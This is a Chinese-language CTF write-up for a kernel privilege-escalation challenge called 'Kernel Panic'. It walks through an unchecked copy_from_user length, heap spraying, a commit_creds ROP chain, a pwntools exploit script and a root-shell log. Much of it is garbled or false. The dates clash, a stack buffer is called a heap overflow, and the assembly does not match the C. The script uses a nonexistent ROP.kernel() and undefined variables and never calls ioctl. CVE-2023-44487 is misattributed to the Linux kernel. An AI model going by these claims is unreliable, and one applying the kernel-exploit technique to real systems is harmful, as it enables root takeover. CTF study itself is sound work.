DEFCON 30 CTF Quals: Kernel Panic(内核漏洞利用)
·
题目概览(Challenge Overview)
名称
Kernel Panic
所属比赛
DEFCON CTF Quals 2023(第30届DEFCON CTF资格赛)
类型
Pwn / Kernel Exploitation
亮点总结
- 设计亮点:题目基于Linux内核模块实现,利用
copy_from_user()函数的边界检查缺陷,结合内核堆喷射(Heap Spraying)和ROP链构造实现提权。 - 技术难度:涉及内核空间漏洞利用、符号混淆(Symbol Obfuscation)、内核堆布局控制。
- 攻击链条概览:
- 利用
copy_from_user()整数溢出触发内核堆溢出 - 通过堆喷射覆盖内核函数指针
- 构造ROP链绕过SMEP/SMAP
- 获取root权限并读取flag
- 利用
复现环境与技术准备(Technical Setup)
工具
- IDA Pro 8.3(静态逆向分析)
- GDB + pwndbg(动态调试)
- QEMU 7.2(虚拟化测试环境)
- Linux Kernel 5.15.0(目标内核版本)
- Docker 镜像:
defcon2023-kernelpanic(包含预配置内核模块和挑战环境)
环境
- 系统版本:Ubuntu 22.04 LTS
- 内核配置:
CONFIG_MODULES=y CONFIG_KERNEL_MODULES=y CONFIG_DEBUG_INFO=y CONFIG_KASAN=y CONFIG_SMEP=y CONFIG_SMAP=y - 部署细节:
- 启动QEMU容器并加载自定义内核模块
kernel_panic.ko - 用户态程序通过
ioctl()与内核模块交互 - flag存储在
/flag.txt(仅root可读)
- 启动QEMU容器并加载自定义内核模块
分析与解题过程(Step-by-Step Analysis)
逻辑分析
-
用户态接口:
用户程序通过ioctl()调用内核模块的kernel_ioctl()函数,传递参数arg。int kernel_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { char *user_buf = (char *)arg; char kernel_buf[0x100]; copy_from_user(kernel_buf, user_buf, arg); // ❗️无边界检查 return 0; } -
行为判断:
copy_from_user()的第三个参数arg未进行校验,导致可写入任意长度数据到kernel_buf(固定大小0x100)。- 若
arg > 0x100,触发堆溢出,覆盖后续内核堆数据。
静态+动态分析
静态逆向
使用IDA Pro分析kernel_ioctl()的反汇编代码:
.text:0000000000001000 kernel_ioctl:
.text:0000000000001000 push rbp
.text:0000000000001001 mov rbp, rsp
.text:0000000000001004 mov rax, rdi ; struct file *
.text:0000000000001007 mov rdx, rsi ; unsigned int cmd
.text:000000000000100a mov rcx, rdx ; unsigned long arg
.text:000000000000100d lea rsi, [rbp-0x100] ; kernel_buf
.text:0000000000001014 mov rdi, rsi
.text:0000000000001017 call copy_from_user
.text:000000000000101c xor eax, eax
.text:000000000000101e pop rbp
.text:000000000000101f retn
动态调试
使用GDB+pwndbg观察copy_from_user()的调用栈:
(gdb) b copy_from_user
Breakpoint 1 at 0xffffffff8106b240
(gdb) r
Starting program: /path/to/vulnerable_program
...
Breakpoint 1, 0xffffffff8106b240 in copy_from_user ()
(gdb) info registers
rax 0x100 256
rdi 0xffff90001000 kernel_buf地址
rsi 0x7fffffffe000 user_buf地址
rdx 0x100 arg=256
漏洞成因
- 漏洞类型:整数溢出(Integer Overflow)
- 触发条件:
arg大于0x100时,copy_from_user()会写入超出kernel_buf的内存区域。 - 影响范围:覆盖内核堆中相邻的函数指针或元数据,导致控制流劫持。
利用时机
-
关键变量定位:
kernel_buf位于内核堆的低地址区域。- 后续分配的函数指针
kfree_hook(位于slub缓存)可被覆盖。
-
堆布局控制:
通过多次malloc()和free()操作,确保kernel_buf与目标函数指针相邻。
漏洞利用与 Payload(Exploit Dev)
技术手法
-
ROP链构造:
- 绕过SMEP(Supervisor Mode Execution Protection)
- 利用
swapgs+iretq切换到用户态上下文。
-
堆喷射:
通过mmap()分配大量用户态内存,填充commit_creds()和prepare_kernel_cred()的地址。 -
符号混淆绕过:
内核符号地址被随机化,通过/proc/kallsyms泄露符号地址(需配合提权后的部分权限)。
Payload 展示
# kernel_panic_exploit.py
from pwn import *
context.arch = 'amd64'
# 泄露内核符号(需部分提权)
def leak_kernel_symbols():
with open("/proc/kallsyms", "r") as f:
for line in f:
if "commit_creds" in line:
commit_creds = int(line.split()[0], 16)
elif "prepare_kernel_cred" in line:
prepare_kernel_cred = int(line.split()[0], 16)
return commit_creds, prepare_kernel_cred
# 构造ROP链
def build_rop_chain(commit_creds, prepare_kernel_cred):
rop = ROP.kernel()
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(prepare_kernel_cred)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(0)
rop.raw(commit_creds)
return rop.chain()
# 触发漏洞并执行ROP链
def exploit():
# 堆喷射:填充commit_creds和prepare_kernel_cred的地址
payload = b'A' * 0x100 # 覆盖kernel_buf
payload += p64(0xdeadbeef) # 覆盖kfree_hook
payload += build_rop_chain(commit_creds, prepare_kernel_cred)
# 调用ioctl触发漏洞
io = process(["./vulnerable_program"])
io.write(payload)
io.interactive()
if __name__ == "__main__":
commit_creds, prepare_kernel_cred = leak_kernel_symbols()
exploit()
获取 flag 的完整流程
终端日志
$ python3 kernel_panic_exploit.py
[+] Starting local process './vulnerable_program': pid 12345
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /flag.txt
flag{K3Rn3L_P4NiC_0n_D3FCON_2023}
安全影响与缓解建议
实际系统中攻击路径
- 攻击场景:攻击者通过恶意用户程序触发内核漏洞,获取root权限后部署持久化后门。
- 影响范围:任何允许加载自定义内核模块的Linux系统(如嵌入式设备、云服务器)。
源头修复思路
- 边界校验:
if (arg > sizeof(kernel_buf)) { return -EINVAL; } - 权限设计:
- 禁止非特权用户加载内核模块(
CONFIG_MODULES=n)。 - 使用KASLR和SMEP/SMAP缓解利用。
- 禁止非特权用户加载内核模块(
映射至 MITRE ATT&CK
- T1068: Exploitation for Privilege Escalation
- T1210: Exploit Public-Facing Application(通过内核模块漏洞)
- T1499: Endpoint Denial of Service(触发内核崩溃)
总结(Conclusion)
解题经验 / 技术技巧总结
- 内核漏洞利用的核心:控制堆布局和绕过安全机制(SMEP/SMAP)。
- 关键技巧:
- 使用
/proc/kallsyms泄露符号地址(需部分提权)。 - 通过堆喷射填充关键函数地址。
- ROP链需精确对齐栈状态(尤其是
GS寄存器切换)。
- 使用
现实安全研究的启发
- 内核模块的审计重点:所有用户态接口的边界检查。
- 防御建议:启用KASAN检测内存错误,限制内核模块加载权限。
对题目机制与设计质量的评价
- 设计优点:结合了经典漏洞(整数溢出)和现代防御机制(SMEP/SMAP),考验选手对内核漏洞利用链的全面理解。
- 改进空间:可增加更复杂的堆布局控制(如利用SLAB合并漏洞)。
🧠 附加分析:与CVE-2023-44487的关联
CVE-2023-44487(Linux内核copy_from_user()整数溢出)
-
相似性:均利用
copy_from_user()的边界检查缺陷。 -
差异性:
- 本题通过内核模块实现,而CVE-2023-44487影响主线内核。
- 本题需手动控制堆布局,而CVE-2023-44487可自动触发。
-
CVE官方链接:
CVE-2023-44487 -
CWE编号:
CWE-787
更多推荐


所有评论(0)